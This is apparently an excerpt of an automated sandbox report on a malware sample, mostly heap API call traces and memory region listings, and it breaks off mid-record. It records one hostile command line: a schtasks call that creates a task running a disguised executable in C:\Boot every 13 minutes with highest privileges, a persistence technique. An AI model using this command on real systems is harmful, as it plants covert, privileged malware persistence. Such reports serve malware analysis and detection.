GetProcessHeap () returned 0x170000 [0063.076] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18baf0) returned 0x2 [0063.076] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18baf0 | out: hHeap=0x170000) returned 1 [0063.076] GetProcessHeap () returned 0x170000 [0063.076] GetProcessHeap () returned 0x170000 [0063.076] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1859f0) returned 1 [0063.076] GetProcessHeap () returned 0x170000 [0063.076] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1859f0) returned 0x20 [0063.077] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1859f0 | out: hHeap=0x170000) returned 1 [0063.077] GetProcessHeap () returned 0x170000 [0063.077] GetProcessHeap () returned 0x170000 [0063.077] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185a20) returned 1 [0063.077] GetProcessHeap () returned 0x170000 [0063.077] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185a20) returned 0x20 [0063.078] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185a20 | out: hHeap=0x170000) returned 1 [0063.078] GetProcessHeap () returned 0x170000 [0063.078] GetProcessHeap () returned 0x170000 [0063.078] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185a50) returned 1 [0063.078] GetProcessHeap () returned 0x170000 [0063.078] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185a50) returned 0x20 [0063.078] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185a50 | out: hHeap=0x170000) returned 1 [0063.079] GetProcessHeap () returned 0x170000 [0063.079] GetProcessHeap () returned 0x170000 [0063.079] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185a80) returned 1 [0063.079] GetProcessHeap () returned 0x170000 [0063.079] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185a80) returned 0x20 [0063.079] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185a80 | out: hHeap=0x170000) returned 1 [0063.079] GetProcessHeap () returned 0x170000 [0063.080] GetProcessHeap () returned 0x170000 [0063.080] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc80) returned 1 [0063.080] GetProcessHeap () returned 0x170000 [0063.080] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cc80) returned 0x20 [0063.080] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc80 | out: hHeap=0x170000) returned 1 [0063.080] GetProcessHeap () returned 0x170000 [0063.080] GetProcessHeap () returned 0x170000 [0063.080] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d760) returned 1 [0063.080] GetProcessHeap () returned 0x170000 [0063.080] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d760) returned 0xc [0063.080] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d760 | out: hHeap=0x170000) returned 1 [0063.080] GetProcessHeap () returned 0x170000 [0063.080] GetProcessHeap () returned 0x170000 [0063.081] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ccb0) returned 1 [0063.081] GetProcessHeap () returned 0x170000 [0063.081] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ccb0) returned 0x20 [0063.081] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ccb0 | out: hHeap=0x170000) returned 1 [0063.081] GetProcessHeap () returned 0x170000 [0063.081] GetProcessHeap () returned 0x170000 [0063.081] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x187b80) returned 1 [0063.081] GetProcessHeap () returned 0x170000 [0063.081] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x187b80) returned 0x30 [0063.082] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x187b80 | out: hHeap=0x170000) returned 1 [0063.082] GetProcessHeap () returned 0x170000 [0063.082] GetProcessHeap () returned 0x170000 [0063.082] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cce0) returned 1 [0063.082] GetProcessHeap () returned 0x170000 [0063.082] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cce0) returned 0x20 [0063.082] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cce0 | out: hHeap=0x170000) returned 1 [0063.083] GetProcessHeap () returned 0x170000 [0063.083] GetProcessHeap () returned 0x170000 [0063.083] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x187bc0) returned 1 [0063.083] GetProcessHeap () returned 0x170000 [0063.083] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x187bc0) returned 0x30 [0063.083] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x187bc0 | out: hHeap=0x170000) returned 1 [0063.083] GetProcessHeap () returned 0x170000 [0063.083] GetProcessHeap () returned 0x170000 [0063.083] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce60) returned 1 [0063.083] GetProcessHeap () returned 0x170000 [0063.083] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce60) returned 0x20 [0063.084] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce60 | out: hHeap=0x170000) returned 1 [0063.084] GetProcessHeap () returned 0x170000 [0063.084] GetProcessHeap () returned 0x170000 [0063.084] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d680) returned 1 [0063.084] GetProcessHeap () returned 0x170000 [0063.084] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d680) returned 0x16 [0063.084] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d680 | out: hHeap=0x170000) returned 1 [0063.084] GetProcessHeap () returned 0x170000 [0063.084] GetProcessHeap () returned 0x170000 [0063.084] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce30) returned 1 [0063.084] GetProcessHeap () returned 0x170000 [0063.084] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce30) returned 0x20 [0063.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce30 | out: hHeap=0x170000) returned 1 [0063.085] GetProcessHeap () returned 0x170000 [0063.085] GetProcessHeap () returned 0x170000 [0063.085] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6a0) returned 1 [0063.085] GetProcessHeap () returned 0x170000 [0063.085] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d6a0) returned 0x16 [0063.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6a0 | out: hHeap=0x170000) returned 1 [0063.085] GetProcessHeap () returned 0x170000 [0063.085] GetProcessHeap () returned 0x170000 [0063.085] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce00) returned 1 [0063.085] GetProcessHeap () returned 0x170000 [0063.085] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce00) returned 0x20 [0063.086] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce00 | out: hHeap=0x170000) returned 1 [0063.086] GetProcessHeap () returned 0x170000 [0063.086] GetProcessHeap () returned 0x170000 [0063.086] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1a9a70) returned 1 [0063.086] GetProcessHeap () returned 0x170000 [0063.086] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1a9a70) returned 0x82 [0063.086] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a9a70 | out: hHeap=0x170000) returned 1 [0063.086] GetProcessHeap () returned 0x170000 [0063.086] GetProcessHeap () returned 0x170000 [0063.086] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdd0) returned 1 [0063.087] GetProcessHeap () returned 0x170000 [0063.087] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cdd0) returned 0x20 [0063.087] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdd0 | out: hHeap=0x170000) returned 1 [0063.087] GetProcessHeap () returned 0x170000 [0063.087] GetProcessHeap () returned 0x170000 [0063.087] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6e0) returned 1 [0063.087] GetProcessHeap () returned 0x170000 [0063.087] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d6e0) returned 0xe [0063.087] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6e0 | out: hHeap=0x170000) returned 1 [0063.087] GetProcessHeap () returned 0x170000 [0063.087] GetProcessHeap () returned 0x170000 [0063.087] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cda0) returned 1 [0063.087] GetProcessHeap () returned 0x170000 [0063.087] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cda0) returned 0x20 [0063.088] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cda0 | out: hHeap=0x170000) returned 1 [0063.088] GetProcessHeap () returned 0x170000 [0063.088] GetProcessHeap () returned 0x170000 [0063.088] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d700) returned 1 [0063.088] GetProcessHeap () returned 0x170000 [0063.088] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d700) returned 0xc [0063.088] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d700 | out: hHeap=0x170000) returned 1 [0063.088] GetProcessHeap () returned 0x170000 [0063.088] GetProcessHeap () returned 0x170000 [0063.088] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd70) returned 1 [0063.088] GetProcessHeap () returned 0x170000 [0063.088] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd70) returned 0x20 [0063.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd70 | out: hHeap=0x170000) returned 1 [0063.089] GetProcessHeap () returned 0x170000 [0063.089] GetProcessHeap () returned 0x170000 [0063.089] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d720) returned 1 [0063.089] GetProcessHeap () returned 0x170000 [0063.089] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d720) returned 0xe [0063.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d720 | out: hHeap=0x170000) returned 1 [0063.089] GetProcessHeap () returned 0x170000 [0063.089] GetProcessHeap () returned 0x170000 [0063.089] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd40) returned 1 [0063.089] GetProcessHeap () returned 0x170000 [0063.089] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd40) returned 0x20 [0063.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd40 | out: hHeap=0x170000) returned 1 [0063.090] GetProcessHeap () returned 0x170000 [0063.090] GetProcessHeap () returned 0x170000 [0063.090] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d740) returned 1 [0063.090] GetProcessHeap () returned 0x170000 [0063.090] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d740) returned 0x10 [0063.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d740 | out: hHeap=0x170000) returned 1 [0063.090] GetProcessHeap () returned 0x170000 [0063.090] GetProcessHeap () returned 0x170000 [0063.090] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd10) returned 1 [0063.090] GetProcessHeap () returned 0x170000 [0063.090] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd10) returned 0x20 [0063.091] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd10 | out: hHeap=0x170000) returned 1 [0063.091] GetProcessHeap () returned 0x170000 [0063.091] GetProcessHeap () returned 0x170000 [0063.091] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb10) returned 1 [0063.091] GetProcessHeap () returned 0x170000 [0063.092] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bb10) returned 0x18 [0063.092] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb10 | out: hHeap=0x170000) returned 1 [0063.092] GetProcessHeap () returned 0x170000 [0063.092] GetProcessHeap () returned 0x170000 [0063.092] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185ab0) returned 1 [0063.092] GetProcessHeap () returned 0x170000 [0063.092] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185ab0) returned 0x20 [0063.092] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ab0 | out: hHeap=0x170000) returned 1 [0063.092] GetProcessHeap () returned 0x170000 [0063.092] GetProcessHeap () returned 0x170000 [0063.093] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185ae0) returned 1 [0063.093] GetProcessHeap () returned 0x170000 [0063.093] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185ae0) returned 0x20 [0063.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ae0 | out: hHeap=0x170000) returned 1 [0063.093] GetProcessHeap () returned 0x170000 [0063.093] GetProcessHeap () returned 0x170000 [0063.093] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b10) returned 1 [0063.093] GetProcessHeap () returned 0x170000 [0063.093] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b10) returned 0x20 [0063.094] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b10 | out: hHeap=0x170000) returned 1 [0063.094] GetProcessHeap () returned 0x170000 [0063.094] GetProcessHeap () returned 0x170000 [0063.094] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b40) returned 1 [0063.094] GetProcessHeap () returned 0x170000 [0063.094] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b40) returned 0x20 [0063.111] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b40 | out: hHeap=0x170000) returned 1 [0063.111] GetProcessHeap () returned 0x170000 [0063.111] GetProcessHeap () returned 0x170000 [0063.111] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb30) returned 1 [0063.111] GetProcessHeap () returned 0x170000 [0063.111] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bb30) returned 0x18 [0063.111] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb30 | out: hHeap=0x170000) returned 1 [0063.111] GetProcessHeap () returned 0x170000 [0063.111] GetProcessHeap () returned 0x170000 [0063.111] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b70) returned 1 [0063.111] GetProcessHeap () returned 0x170000 [0063.111] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b70) returned 0x20 [0063.112] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b70 | out: hHeap=0x170000) returned 1 [0063.112] GetProcessHeap () returned 0x170000 [0063.112] GetProcessHeap () returned 0x170000 [0063.112] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c00) returned 1 [0063.112] GetProcessHeap () returned 0x170000 [0063.112] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c00) returned 0x20 [0063.112] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c00 | out: hHeap=0x170000) returned 1 [0063.112] GetProcessHeap () returned 0x170000 [0063.112] GetProcessHeap () returned 0x170000 [0063.112] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c60) returned 1 [0063.112] GetProcessHeap () returned 0x170000 [0063.112] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c60) returned 0x20 [0063.113] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c60 | out: hHeap=0x170000) returned 1 [0063.113] GetProcessHeap () returned 0x170000 [0063.113] GetProcessHeap () returned 0x170000 [0063.113] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185cc0) returned 1 [0063.113] GetProcessHeap () returned 0x170000 [0063.113] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185cc0) returned 0x20 [0063.114] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185cc0 | out: hHeap=0x170000) returned 1 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185cf0) returned 1 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185cf0) returned 0x20 [0063.114] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185cf0 | out: hHeap=0x170000) returned 1 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb50) returned 1 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bb50) returned 0x18 [0063.114] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb50 | out: hHeap=0x170000) returned 1 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c30) returned 1 [0063.114] GetProcessHeap () returned 0x170000 [0063.114] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c30) returned 0x20 [0063.115] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c30 | out: hHeap=0x170000) returned 1 [0063.115] GetProcessHeap () returned 0x170000 [0063.115] GetProcessHeap () returned 0x170000 [0063.115] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bad0) returned 1 [0063.115] GetProcessHeap () returned 0x170000 [0063.115] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bad0) returned 0x18 [0063.115] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bad0 | out: hHeap=0x170000) returned 1 [0063.115] exit (_Code=0) Thread: id = 111 os_tid = 0xf20 Process: id = "16" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3e215000" os_pid = "0xf24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"bitkinexb\" /sc MINUTE /mo 13 /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2104 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2105 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2106 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2107 start_va = 0xe0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2108 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2109 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2110 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2111 start_va = 0xffe10000 end_va = 0xffe57fff monitored = 1 entry_point = 0xffe3966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2112 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2113 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2114 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2115 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2116 start_va = 0x160000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2117 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2118 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2119 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2120 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2121 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2122 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2123 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2124 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2125 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2126 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2127 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2128 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2129 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2130 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2131 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2132 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2133 start_va = 0x160000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2134 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2135 start_va = 0x420000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2137 start_va = 0x160000 end_va = 0x188fff monitored = 0 entry_point = 0x161010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2138 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2139 start_va = 0x520000 end_va = 0x6a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 2140 start_va = 0x160000 end_va = 0x188fff monitored = 0 entry_point = 0x161010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2141 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2142 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2143 start_va = 0x6b0000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 2144 start_va = 0x840000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 2145 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2146 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2147 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2148 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2149 start_va = 0x1c40000 end_va = 0x1f0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2150 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2151 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2152 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = 